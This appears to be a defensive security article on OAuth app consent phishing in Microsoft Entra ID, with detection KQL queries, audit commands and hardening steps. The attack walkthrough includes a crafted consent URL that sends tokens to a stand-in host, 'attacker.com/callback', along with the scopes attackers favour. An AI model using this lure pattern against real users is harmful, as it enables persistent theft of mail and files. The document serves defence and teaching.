OAuth app consent phishing is one of the most effective cloud-native attacks because it completely sidesteps the credential-theft model that most security controls are built to prevent. There is no password stolen, no MFA prompt to bypass, no malicious sign-in to detect. Instead, the attacker convinces a user to click “Accept” on a Microsoft OAuth consent screen for an application that the attacker controls — and from that moment, the application has delegated access to the user’s Microsoft 365 data that persists until explicitly revoked.
This technique has been used by EXOTIC LILY, Star Blizzard (FSB), and numerous commodity phishing operators. Microsoft’s own Threat Intelligence team documented campaigns targeting finance, legal, and government organisations in 2024 and 2025. The consent that survives a password reset or MFA policy change.
How the Attack Works
Azure Entra ID (formerly Azure Active Directory) allows third-party applications to request delegated permissions on behalf of a user. The permissions are defined as OAuth scopes — Mail.Read, Files.ReadWrite.All, Calendars.Read, User.Read, and so on. When a user consents, they’re granting the application the right to act with those permissions on their behalf.
Attack flow:
-
Attacker registers an application in their own Entra ID tenant (or a compromised tenant). The app can be named anything — “OneDrive Sync Tool”, “Microsoft Teams Helper”, “IT Security Scanner”.
-
The attacker crafts a URL pointing to Microsoft’s legitimate OAuth consent endpoint:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize
?client_id=<attacker-app-id>
&response_type=code
&redirect_uri=https://attacker.com/callback
&scope=Mail.Read+Files.ReadWrite.All+offline_access
-
The phishing email or message directs the victim to this URL. Because it’s a real
login.microsoftonline.comURL, it passes URL reputation checks and users trust it. The victim may already be signed in, meaning they see only the consent prompt — no password entry required. -
The victim clicks “Accept.” Their refresh token is delivered to
attacker.com/callback. The application now has persistent access to their mailbox and OneDrive until the consent is revoked. -
The attacker uses Microsoft Graph API to read emails, download files, forward messages, and — if
Mail.Sendwas included in the scope — send phishing emails from the victim’s account.
Common Permission Scopes in These Attacks
| Scope | What it enables |
|---|---|
Mail.Read | Read all email |
Mail.Send | Send email as the user |
Files.ReadWrite.All | Read and write all SharePoint/OneDrive files |
Calendars.Read | Read calendar — useful for spear-phishing with meeting context |
offline_access | Refresh token — persistent access without re-authentication |
User.ReadBasic.All | Enumerate all users in the tenant |
Chat.ReadWrite | Read and write Teams messages |
Attackers typically request the minimum scope needed to achieve their goal while minimising the risk of the consent prompt looking alarming. Mail.Read offline_access is enough for sustained mailbox access.
How to Detect Consent Phishing
Entra ID Audit Log: Application Consent Events
Every user consent generates an audit log event. In the Entra ID portal under Monitoring > Audit Logs, filter on:
- Category:
ApplicationManagement - Activity:
Consent to application
In the Azure CLI:
az monitor activity-log list \
--offset 72h \
--query "[?operationName.value=='Microsoft.Authorization/roleAssignments/write' || contains(properties.eventName.value, 'Consent')]" \
--output table
Better: use Microsoft Sentinel for continuous monitoring.
KQL query for suspicious application consent events:
AuditLogs
| where OperationName == "Consent to application"
| extend AppId = tostring(TargetResources[0].modifiedProperties[0].newValue)
| extend ConsentedBy = tostring(InitiatedBy.user.userPrincipalName)
| extend AppName = tostring(TargetResources[0].displayName)
| extend ConsentedScopes = tostring(TargetResources[0].modifiedProperties
| where name == "ConsentContext.Scopes"
| project newValue)
| where ConsentedScopes contains "Mail.Read"
or ConsentedScopes contains "Files.ReadWrite"
or ConsentedScopes contains "Mail.Send"
| project TimeGenerated, ConsentedBy, AppName, AppId, ConsentedScopes
| order by TimeGenerated desc
KQL query to find applications that have been granted high-privilege scopes across your tenant:
AuditLogs
| where OperationName == "Consent to application"
| extend AppName = tostring(TargetResources[0].displayName)
| extend Scopes = tostring(TargetResources[0].modifiedProperties
| where name == "ConsentContext.Scopes"
| project newValue)
| extend ConsentedBy = tostring(InitiatedBy.user.userPrincipalName)
| where Scopes has_any ("Mail.Send", "Files.ReadWrite.All", "Mail.ReadWrite", "User.ReadWrite.All")
| summarize Users=make_set(ConsentedBy), ConsentCount=count() by AppName, Scopes
| order by ConsentCount desc
Signs of Active Exploitation Post-Consent
After consent is granted, the attacker uses the application to access data via Microsoft Graph. These access patterns generate sign-in logs under the application’s identity:
SigninLogs
| where AppId == "<suspicious-app-id>"
| where ResourceDisplayName == "Microsoft Graph"
| project TimeGenerated, UserPrincipalName, AppDisplayName, Location, Status
| order by TimeGenerated desc
Graph API access from unusual IPs, outside business hours, or with unusually high read volumes across multiple users are indicators of post-consent exploitation.
Hardening: What to Implement
Restrict user consent to low-risk permissions only:
In Entra ID > Enterprise Applications > Consent and permissions:
User consent settings:
✓ "Allow user consent for apps from verified publishers, for selected permissions"
☐ "Allow user consent for all apps" (disable this)
This prevents users from consenting to apps from unverified publishers. An attacker whose registered application is not verified (which requires passing Microsoft’s verification process) will fail at the consent step.
Require admin approval for risky permission scopes:
Using PowerShell/Microsoft Graph API, configure permission grant policies to require admin consent for high-risk scopes:
# Require admin consent for all delegated permissions to Graph API
Connect-MgGraph -Scopes "Policy.ReadWrite.Authorization"
# Review current admin consent workflow settings
Get-MgPolicyAuthorizationPolicy | Select-Object AllowEmailVerifiedUsersToJoinOrganization, DefaultUserRolePermissions
Via the portal: Entra ID > Enterprise Applications > Consent and permissions > Admin consent requests — enable “Users can request admin consent to apps they are unable to consent to.”
Audit and revoke existing suspicious application consents:
# List all service principals (applications) with OAuth grants
Connect-MgGraph -Scopes "Directory.Read.All"
Get-MgServicePrincipal -All | Where-Object {
$_.Tags -notcontains "HideApp"
} | Select-Object DisplayName, AppId, AppOwnerOrganizationId |
Sort-Object AppOwnerOrganizationId
# Find OAuth2 grants for high-privilege scopes
Get-MgOauth2PermissionGrant -All | Where-Object {
$_.Scope -match "Mail.Send|Files.ReadWrite.All|Mail.ReadWrite"
} | Select-Object ClientId, PrincipalId, Scope, ConsentType
Revoke a specific application’s consent:
az ad app permission delete \
--id <client-app-id> \
--api 00000003-0000-0000-c000-000000000000 # Microsoft Graph
Implement Conditional Access for application access:
Create a Conditional Access policy that requires compliant devices or specific named locations for token exchange from unfamiliar application IDs. This doesn’t prevent initial consent but limits what an attacker can do with a harvested token from an unusual location.
Key Takeaway for Tenant Administrators
The default Microsoft 365 configuration allows any user to consent to any application requesting User.Read and certain low-risk permissions. Applications requesting higher permissions prompt for user consent too, which most users will grant without scrutiny if the OAuth screen looks official.
Changing the consent policy from “user decides” to “admin decides for high-risk scopes” eliminates the majority of the attack surface at the cost of some user friction for legitimate third-party tool onboarding. Given that an app consent attack survives credential rotation, this policy change has significantly better ROI than additional MFA controls for this specific threat.